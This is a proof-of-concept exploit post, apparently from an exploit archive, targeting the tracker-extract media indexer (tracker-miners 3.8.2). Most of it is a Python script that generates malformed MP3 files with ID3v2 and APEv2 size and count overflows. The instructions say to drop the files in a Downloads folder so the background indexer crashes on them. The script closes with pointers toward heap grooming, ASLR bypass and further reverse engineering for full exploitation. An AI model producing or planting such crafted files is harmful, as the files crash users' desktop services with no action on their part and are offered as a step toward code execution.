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| # Title     : tracker-extract 3.8.2 tracker-miners 3.x Media Parser Crash PoC                                                             |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://www.ubuntu.com/                                                                                                     |
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[+] References :  https://packetstorm.news/files/id/215100/ & 	CVE-2026-1764

[+] Summary    : Crafted MP3/APEv2 tags may cause tracker-extract to crash when parsing oversized or malformed frames.


[+]PoC : id3_overflow.mp3, ape_overflow.mp3, hybrid.mp3

Place file in ~/Downloads
tracker-miners auto-indexes file
Observe crash with: journalctl -f | grep tracker
  
#!/usr/bin/env python3

import struct
import sys
import os

class MP3ExploitGenerator:
    def __init__(self):
        self.techniques = []
        
    def create_id3v2_size_overflow(self, filename):
        """
        Create ID3v2 tag with size that causes integer overflow
        in tracker-miners' allocation routine
        """
        with open(filename, 'wb') as f:

            f.write(b'ID3')         
            f.write(b'\x03\x00')     
            f.write(b'\x00')          

            size = 0x1FFFFFFF
            sync_safe = bytes([
                (size >> 21) & 0x7F,
                (size >> 14) & 0x7F,
                (size >> 7) & 0x7F,
                size & 0x7F
            ])
            f.write(sync_safe)

            f.write(b'TIT2')         
            frame_size = 0x3FFFFFFF
            f.write(struct.pack('>I', frame_size))
            f.write(b'\x00\x00')     
            f.write(b'A' * 1024)    
            
        self.techniques.append("ID3v2 size overflow (premature EOF)")
        return True
    
    def create_mp3_bitrate_confusion(self, filename):
        """
        Create MP3 with conflicting bitrate/sample rate information
        """
        with open(filename, 'wb') as f:

            header = 0xFFFB  # MPEG-1 Layer 3
            header = (header & ~(0xF << 12)) | (0xF << 12)
            header = (header & ~(0x3 << 10)) | (0x3 << 10)
            
            f.write(struct.pack('>H', header))
            bitrate_lookup = [0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 0]
            sample_rate_lookup = [44100, 48000, 32000, 0]

            bitrate_idx = 15 
            sample_rate_idx = 3  

            f.write(b'Xing')
            f.write(struct.pack('>I', 0x0000000F))
            f.write(struct.pack('>I', 0xFFFFFFFF))  
            f.write(struct.pack('>I', 0xFFFFFFFF))  
            
        self.techniques.append("MP3 bitrate/sample rate confusion")
        return True
    
    def create_apev2_item_overflow(self, filename):
        """
        APEv2 tag with item_count * item_size overflow
        """
        with open(filename, 'wb') as f:

            f.write(b'\xFF\xFB\x90\x64\x00\x00\x00\x00')
            f.write(b'\x00' * 4000)
            f.write(b'APETAGEX')
            f.write(struct.pack('<I', 2000))    
            f.write(struct.pack('<I', 1024))    
            f.write(struct.pack('<I', 0x40000000)) 
            f.write(struct.pack('<I', 0x80000000)) 
            f.write(b'\x00' * 8)               

            item_size = 100
            item_flags = 0
            f.write(struct.pack('<I', item_size))
            f.write(struct.pack('<I', item_flags))
            f.write(b'Title\x00')
            f.write(b'B' * item_size)
            
        self.techniques.append("APEv2 item count overflow")
        return True
    
    def create_hybrid_file(self, filename):
        """Combine multiple techniques"""
        with open(filename, 'wb') as f:

            f.write(b'ID3\x03\x00\x00')
            f.write(b'\x00\x00\x00\x10') 
            f.write(b'COMM')
            f.write(struct.pack('>I', 100))
            f.write(b'\x80\x00') 

            for i in range(5):
                header = 0xFFFB
                bitrate_idx = (i % 14) + 1
                header = (header & ~(0xF << 12)) | (bitrate_idx << 12)
                f.write(struct.pack('>H', header))
                f.write(b'\x00' * 400)

            f.write(b'TAG')
            f.write(b'A' * 125)  
            f.write(b'\x00' * 1) 
            
        self.techniques.append("Hybrid ID3v2/MP3/ID3v1 confusion")
        return True

def test_with_tracker(filename):
    """Simulate how tracker-miners would process the file"""
    print(f"\n[+] Simulating tracker-miners parsing of {filename}")
    print("    (Based on tracker-extract 3.8.2 source analysis)")
    
    file_size = os.path.getsize(filename)
    print(f"    File size: {file_size:,} bytes")
    
    with open(filename, 'rb') as f:
        header = f.read(10)
        
        if header.startswith(b'ID3'):
            print(" Starts with ID3v2 tag")

            version = header[3]
            print(f" ID3v2.{version}.0 detected")

            size_bytes = header[6:10]
            size = 0
            for b in size_bytes:
                size = (size << 7) | (b & 0x7F)
            print(f"    Tag size field: {size:,} bytes")
            
            if size > 100 * 1024 * 1024:  # 100MB
                print(" Large size field - potential overflow")
                
        elif header[:2] == b'\xFF\xFB' or header[:2] == b'\xFF\xFA':
            print(" MPEG audio frame detected")

        f.seek(-32, os.SEEK_END)
        footer = f.read(32)
        if b'APETAGEX' in footer:
            print(" APEv2 tag detected at end")

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 tracker_exploit.py <test_directory>")
        sys.exit(1)
    
    test_dir = sys.argv[1]
    os.makedirs(test_dir, exist_ok=True)
    
    generator = MP3ExploitGenerator()

    files = [
        ("id3_overflow.mp3", generator.create_id3v2_size_overflow),
        ("bitrate_confusion.mp3", generator.create_mp3_bitrate_confusion),
        ("ape_overflow.mp3", generator.create_apev2_item_overflow),
        ("hybrid.mp3", generator.create_hybrid_file),
    ]
    
    for filename, create_func in files:
        filepath = os.path.join(test_dir, filename)
        print(f"\n[+] Creating {filename}...")
        if create_func(filepath):
            test_with_tracker(filepath)
    
    print("\n" + "="*60)
    print("VULNERABILITY SUMMARY")
    print("="*60)
    for i, technique in enumerate(generator.techniques, 1):
        print(f"{i}. {technique}")
    
    print("\n" + "="*60)
    print("REAL EXPLOIT CONSIDERATIONS")
    print("="*60)
    print("""
    1. Heap Feng Shui needed for reliable exploitation
    2. GLib memory allocator (g_slice, g_malloc) specifics
    3. tracker-miners uses GStreamer for parsing - check those code paths
    4. ASLR bypass via info leaks (if any)
    5. Need to control specific function pointers (GObject methods)
    6. Potential sandbox/Seccomp restrictions
    """)
    
    print("\n[+] Test files created in:", test_dir)
    print("[!] For actual exploitation, reverse engineer:")
    print("    - tracker-extract binary")
    print("    - libtracker-extract.so")
    print("    - GStreamer plugins used")

if __name__ == "__main__":
    main()
	

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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